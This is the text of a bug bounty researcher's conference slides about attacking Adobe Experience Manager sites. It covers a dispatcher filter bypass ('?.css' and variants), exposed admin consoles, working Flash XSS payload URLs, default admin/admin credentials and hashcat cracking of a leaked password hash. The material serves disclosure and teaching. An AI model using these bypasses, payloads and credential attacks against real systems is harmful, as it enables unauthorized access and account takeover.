SlideShare a Scribd company logo
@fransrosen
A story of the passive
aggressive sysadmin of AEM
or "How to make a talk in 3h 35min"
@fransrosen
Frans Rosén
Bug bounties!
labs.detectify.com
twitter.com/fransrosen
I blogged about Subdomain Takeovers.
Donald Trump got hacked.
The hacker referred to my post as his inspiration.
I broke Let’s Encrypt
Live hacking!
I won a boxing belt once
@fransrosen
Frans Rosén
Bug bounties!
labs.detectify.com
twitter.com/fransrosen
I blogged about Subdomain Takeovers.
Donald Trump got hacked.
The hacker referred to my post as his inspiration.
I broke Let’s Encrypt
Live hacking!
I won a boxing belt once
namedropped in ytcracker - green hat
@fransrosen
2016 – Peter Adkins
https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
@fransrosen
2016 – Peter Adkins
https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
CVE-2016-0957
@fransrosen
2016 – Peter Adkins
https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
CVE-2016-0957
"The world’s lamest RCE."
@fransrosen
How AEM is structured
https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
@fransrosen
How AEM is structured
Adobe "black magic glue"
@fransrosen
How AEM is structured
Stuff you pay your consultants for
Adobe "black magic glue"
@fransrosen
Shit no one’s updating
Stuff you pay your consultants for
Adobe "black magic glue"
How AEM is structured
@fransrosen
How AEM is structured
https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
@fransrosen
How AEM is structured
Apache HTTP server module
@fransrosen
How AEM is structured
Reverse proxy+filter
Apache HTTP server module
@fransrosen
How AEM is structured
Apache HTTP server module
Pages + metadata + content
Reverse proxy+filter
@fransrosen
How AEM is structured
Apache HTTP server module
Pages + metadata + content
Reverse proxy+filter
A bunch of admin-tools
@fransrosen
How AEM is structured
You should not have access to this Apache HTTP server module
Pages + metadata + content
Reverse proxy+filter
A bunch of admin-tools
@fransrosen
How AEM is structured
You should not have access to this
Or this
Apache HTTP server module
Reverse proxy+filter
A bunch of admin-tools
Pages + metadata + content
@fransrosen
Creating pages
@fransrosen
Creating pages
Author creates a new page in the repo
@fransrosen
Creating pages
Author creates a new page in the repo
Goes through the publisher nodes
@fransrosen
Creating pages
Author creates a new page in the repo
Goes through the publisher nodes
Dispatcher serves the content
@fransrosen
Accessing pages
@fransrosen
Accessing pages
Dispatcher gets the URL
@fransrosen
Accessing pages
Dispatcher gets the URL
Goes through a filter
(This filter is awesome, it’s impossible
to break, don’t even dare to try)
@fransrosen
Accessing pages
Dispatcher gets the URLIf all is OK, serve from publish node
Goes through a filter
(This filter is awesome, it’s impossible
to break, don’t even dare to try)
@fransrosen
CVE-2016-0957
aka "I am two years old but I’m inside an enterprise
product that no one can or dares to upgrade"
@fransrosen
CVE-2016-0957
Goes through a filter
(This filter is awesome, it’s impossible
to break, don’t even dare to try)
@fransrosen
CVE-2016-0957
Goes through a filter
(This filter is awesome, it’s impossible
to break, don’t even dare to try)
@fransrosen
CVE-2016-0957
Goes through a filter
(This filter is awesome, it’s impossible
to break, don’t even dare to try)
@fransrosen
CVE-2016-0957
Goes through a filter
(This filter is awesome, it’s impossible
to break, don’t even dare to try)
@fransrosen
CVE-2016-0957
Goes through a filter
(This filter is awesome, it’s impossible
to break, don’t even dare to try)
@fransrosen
CVE-2016-0957
Goes through a filter
(This filter is awesome, it’s impossible
to break, don’t even dare to try)
@fransrosen
CVE-2016-0957
Goes through a filter
(This filter is awesome, it’s impossible
to break, don’t even dare to try)
@fransrosen
This is ridiculous
@fransrosen
Accessing pages?.css
Dispatcher gets the URL?.css
@fransrosen
Accessing pages
Dispatcher gets the URL?.css
Every time is OK time
@fransrosen
Accessing pages
Dispatcher gets the URL?.css
Every time is OK time
Serve from publish node
@fransrosen
Publish nodes
@fransrosen
Disk usage
/etc/reports/diskusage.html?.css
Disk Usage lists all repo dirs + metadata
@fransrosen
My fav, opensocial proxy
/libs/opensocial/proxy?url=x&.css
@fransrosen
My fav, opensocial proxy
/libs/opensocial/proxy?url=x&.css
@fransrosen
…but there’s more!
@fransrosen
CRX Explorer
/crx/de/index.jsp?.css
@fransrosen
CRX Explorer
/crx/explorer/browser/index.jsp?.css
@fransrosen
CRX Explorer Search
/crx/explorer/browser/index.jsp?.css
@fransrosen
Content Repository Extreme
/crx/explorer/index.jsp?.css
@fransrosen
Package Manager
/crx/packmgr/index.jsp?.css
@fransrosen
Namespace Editor (no auth needed!)
/crx/explorer/ui/namespace_editor.jsp?.css
@fransrosen
bin/querybuilder
/bin/querybuilder.json?.css
@fransrosen
bin/querybuilder
/bin/querybuilder.json?.css
@fransrosen
@fransrosen
bin/querybuilder for SWFs!
@fransrosen
bin/querybuilder for SWFs!
@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/shared/endorsed/swf/
slideshow.swf?contentPath=%5c"))%7dcatch(e)
%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/shared/endorsed/swf/
slideshow.swf?contentPath=%5c"))%7dcatch(e)
%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/shared/endorsed/swf/
slideshow.swf?contentPath=%5c"))%7dcatch(e)
%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
Thx Neal Poole
@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/shared/endorsed/swf/
slideshow.swf?contentPath=%5c"))%7dcatch(e)
%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
Thx Neal Poole
@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/shared/endorsed/swf/
slideshow.swf?contentPath=%5c"))%7dcatch(e)
%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf?
stagesize=1&namespacePrefix=alert(document.domain)-window
Thx Neal Poole
@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/shared/endorsed/swf/
slideshow.swf?contentPath=%5c"))%7dcatch(e)
%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf?
stagesize=1&namespacePrefix=alert(document.domain)-window
/etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf?
loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain)
%7dcatch(e)%7b%7d//
Thx Neal Poole
@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/shared/endorsed/swf/
slideshow.swf?contentPath=%5c"))%7dcatch(e)
%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf?
stagesize=1&namespacePrefix=alert(document.domain)-window
/etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf?
loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain)
%7dcatch(e)%7b%7d//
/etc/dam/viewers/s7sdk/3.2/flash/VideoPlayer.swf?
stagesize=1&namespacePrefix=window[/aler/.source%2b/t/.source]
(document.domain)-window
Thx Neal Poole
@fransrosen
Allowing anonymous publish access
@fransrosen
Allowing anonymous publish access
@fransrosen
Allowing anonymous publish access
🤦
@fransrosen
but Peter mentioned
RCE?
@fransrosen
RCE?
https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
@fransrosen
RCE?
https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
admin / admin
@fransrosen
RCE
https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
@fransrosen
RCE
https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
@fransrosen
Patch for
CVE-2016-0957
@fransrosen
Patch for CVE-2016-0957
WOHO!
WOHO!
@fransrosen
Patch for CVE-2016-0957
WOHO!
WOHO!
@fransrosen
Patch for CVE-2016-0957
THEN WHAT IS THE PROBLEM?
WOHO!
WOHO!
@fransrosen
Problem 1
@fransrosen
Problem 1
🤦
@fransrosen
Problem 1
🤦
PRIORITY: nah, bro
@fransrosen
Problem 2
@fransrosen
Problem 2
💸
💸
💸 💸
💸
💸
@fransrosen
Patch for
CVE-2016-0957
IRL VERSION
@fransrosen
Patch for CVE-2016-0957 IRL
@fransrosen
Patch for CVE-2016-0957 IRL
@fransrosen
Patch for CVE-2016-0957 IRL
@fransrosen
Bypasses, seriously
?.js
;%0a.css
Thank Jasmin Landry for this one
@fransrosen
The passive agressive
sysadmin
@fransrosen
The passive agressive sysadmin
💊 💵
💵
💵
💵
💵
💵
💵
💵
💵
💵
💵
💵
💵
💵💵
💵💵
💵
💵💵💵
💵
+ +
💊
💊💊
💊
@fransrosen
The passive agressive sysadmin
💊 💵
💵
💵
💵
💵
💵
💵
💵
💵
💵
💵
💵
💵
💵💵
💵💵
💵
💵💵💵
💵
+ +
💊
💊💊
💊
@fransrosen
I’ve seen this before
@fransrosen
AEM
@fransrosen
CRX
@fransrosen
CRXDE
@fransrosen
All other stuff
@fransrosen
/system/console
@fransrosen
/system/console
admin / admin
@fransrosen
/system/console
admin / admin
@fransrosen
Report!
@fransrosen
Search time!
@fransrosen
Search time!
@fransrosen
Search time!
@fransrosen
Search time!
@fransrosen
WTF
@fransrosen
WTF
$ h=$(echo "6J7An/QgzU+j5gr1G0CyEexJ9xkgiIyyUzTcmaCCV5g=" 
| base64 -D | xxd -p | tr -d 'n')
@fransrosen
WTF
$ h=$(echo "6J7An/QgzU+j5gr1G0CyEexJ9xkgiIyyUzTcmaCCV5g=" 
| base64 -D | xxd -p | tr -d 'n')
$ echo $h
e89ec09ff420cd4fa3e60af51b40b211ec49f71920888cb25334dc99a082
5798
@fransrosen
hashcat ftw
$ echo $h > hash.txt
$ ./hashcat.app -a 0 -m 1400 hash.txt rockyou.txt
@fransrosen
hashcat ftw
$ echo $h > hash.txt
$ ./hashcat.app -a 0 -m 1400 hash.txt rockyou.txt


Status.........: Cracked
Started: Thu Sep 13 11:59:23 2018
Stopped: Thu Sep 13 11:59:25 2018
@fransrosen
hashcat ftw
ih8uall
@fransrosen
/system/console
@fransrosen
/system/console
admin / ih8uall
@fransrosen
/system/console
@fransrosen
/system/console
@fransrosen
Report 2
@fransrosen
Report 2
@fransrosen
Report 2
@fransrosen
Public bug bounty programs with AEM
Public responsible disclosure
📼
Private ones
🏨
💊💵
@fransrosen
Thanks!

More Related Content

PDF
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
PDF
Hunting for security bugs in AEM webapps
PDF
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
PDF
Hacking Adobe Experience Manager sites
PDF
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
PDF
Securing AEM webapps by hacking them
PPTX
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
PPTX
Wireshark
AEM hacker - approaching Adobe Experience Manager webapps in bug bounty programs
Hunting for security bugs in AEM webapps
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
Hacking Adobe Experience Manager sites
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
Securing AEM webapps by hacking them
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Wireshark

What's hot (20)

PDF
What should a hacker know about WebDav?
PDF
Building Advanced XSS Vectors
PDF
XSS Magic tricks
PDF
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
PDF
HTTP Request Smuggling via higher HTTP versions
PDF
A Hacker's perspective on AEM applications security
PDF
SSRF workshop
PDF
Neat tricks to bypass CSRF-protection
PDF
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
PPTX
A Forgotten HTTP Invisibility Cloak
PPTX
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
PDF
Frans Rosén Keynote at BSides Ahmedabad
PDF
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
PPTX
XSS - Do you know EVERYTHING?
PDF
Offzone | Another waf bypass
PPTX
OWASP A4 XML External Entities (XXE)
PPTX
OWASP AppSecCali 2015 - Marshalling Pickles
PPTX
Attacking thru HTTP Host header
PDF
REST API Pentester's perspective
PDF
Defending against Java Deserialization Vulnerabilities
What should a hacker know about WebDav?
Building Advanced XSS Vectors
XSS Magic tricks
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
HTTP Request Smuggling via higher HTTP versions
A Hacker's perspective on AEM applications security
SSRF workshop
Neat tricks to bypass CSRF-protection
Mikhail Egorov - Hunting for bugs in Adobe Experience Manager webapps
A Forgotten HTTP Invisibility Cloak
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Frans Rosén Keynote at BSides Ahmedabad
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
XSS - Do you know EVERYTHING?
Offzone | Another waf bypass
OWASP A4 XML External Entities (XXE)
OWASP AppSecCali 2015 - Marshalling Pickles
Attacking thru HTTP Host header
REST API Pentester's perspective
Defending against Java Deserialization Vulnerabilities
Ad

Recently uploaded (20)

PPTX
OMC Textile Division Presentation 2021.pptx
PDF
Getting Started with Data Integration: FME Form 101
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
Machine learning based COVID-19 study performance prediction
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
PDF
Accuracy of neural networks in brain wave diagnosis of schizophrenia
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PPTX
TLE Review Electricity (Electricity).pptx
PPTX
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
PPTX
SOPHOS-XG Firewall Administrator PPT.pptx
PPTX
1. Introduction to Computer Programming.pptx
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
Univ-Connecticut-ChatGPT-Presentaion.pdf
PPT
Teaching material agriculture food technology
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
A comparative analysis of optical character recognition models for extracting...
PPTX
Machine Learning_overview_presentation.pptx
PDF
A comparative study of natural language inference in Swahili using monolingua...
PPTX
Programs and apps: productivity, graphics, security and other tools
OMC Textile Division Presentation 2021.pptx
Getting Started with Data Integration: FME Form 101
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Machine learning based COVID-19 study performance prediction
Diabetes mellitus diagnosis method based random forest with bat algorithm
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
Accuracy of neural networks in brain wave diagnosis of schizophrenia
Per capita expenditure prediction using model stacking based on satellite ima...
TLE Review Electricity (Electricity).pptx
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
SOPHOS-XG Firewall Administrator PPT.pptx
1. Introduction to Computer Programming.pptx
Building Integrated photovoltaic BIPV_UPV.pdf
Univ-Connecticut-ChatGPT-Presentaion.pdf
Teaching material agriculture food technology
Spectral efficient network and resource selection model in 5G networks
A comparative analysis of optical character recognition models for extracting...
Machine Learning_overview_presentation.pptx
A comparative study of natural language inference in Swahili using monolingua...
Programs and apps: productivity, graphics, security and other tools
Ad

A story of the passive aggressive sysadmin of AEM